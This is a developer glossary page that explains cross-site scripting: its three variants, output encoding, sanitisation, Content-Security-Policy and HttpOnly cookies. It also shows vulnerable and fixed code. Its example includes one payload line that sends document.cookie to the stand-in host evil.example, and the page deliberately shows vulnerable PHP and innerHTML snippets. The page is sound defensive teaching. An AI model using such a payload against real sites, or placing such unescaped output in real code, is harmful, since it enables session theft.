Security
What is XSS?
Definition
XSS is a vulnerability that lets an attacker execute their own JavaScript in another user's browser within the context of a trusted site.
Also known as: Cross-Site Scripting
XSS in more detail
The cause is always the same shape: data supplied by a user is placed into a page without being treated as data. The browser cannot tell the difference between markup the developer wrote and markup that arrived in a comment field, so a script tag or an event handler in that input simply runs — with full access to the page's DOM, to cookies not marked HttpOnly, to local storage, and to any authenticated request the user could make.
There are three classic variants. Stored XSS persists the payload on the server — in a profile, a comment, a product review — and fires for everyone who views it, which makes it the most damaging. Reflected XSS bounces the payload straight back from the request, usually a query parameter echoed into the response, and needs the victim to follow a crafted link. DOM-based XSS never involves the server at all: client-side code reads something like location.hash and writes it into innerHTML.
The defence is contextual output encoding — escaping data according to where it lands, because HTML body, attribute, URL and JavaScript contexts each need different treatment. Modern frameworks escape by default, which is why the bugs cluster around the escape hatches: innerHTML, dangerouslySetInnerHTML, v-html and eval. Sanitise any HTML you must accept with a vetted library rather than a regex, add a Content-Security-Policy so injected script has no way to execute, and set HttpOnly on session cookies so a payload cannot read them. Do not confuse this with CSRF: CSRF forges a request, XSS runs code inside your origin.
XSS example
Vulnerable — the value is treated as markup
<div>Welcome back, <?= $_GET['name'] ?></div>
/page?name=<script>fetch('https://evil.example?c='+document.cookie)</script>
Fixed — escaped for the context it lands in
<div>Welcome back, <?= htmlspecialchars($_GET['name'],
ENT_QUOTES, 'UTF-8') ?></div>
DOM-based, no server involved
el.innerHTML = location.hash.slice(1); // dangerous
el.textContent = location.hash.slice(1); // safe
Layered defence
Content-Security-Policy: default-src 'self'; script-src 'self'
Set-Cookie: session=...; HttpOnly; Secure; SameSite=LaxXSS — common questions
- What is the difference between XSS and CSRF?
- XSS runs attacker-controlled script inside your site's origin and can read whatever the page can read. CSRF runs no script on your site; it only causes the victim's browser to send a request with its credentials, and the attacker never sees the response.
- Does React make my app immune to XSS?
- No, but it removes the default path. React escapes interpolated values automatically, so the risk concentrates in dangerouslySetInnerHTML, in URLs built from user input such as javascript: hrefs, and in any third-party script you include.
- What is a Content Security Policy?
- A response header listing the sources a page may load scripts, styles and other resources from. A strict policy means injected inline script has nowhere to run, so it turns many XSS bugs from an exploit into a blocked console message.
Keep reading
Every definition in the set is indexed A-Z in the developer glossary, and the cheat sheets cover the syntax once you know what you are looking for.
Browse the A-Z glossary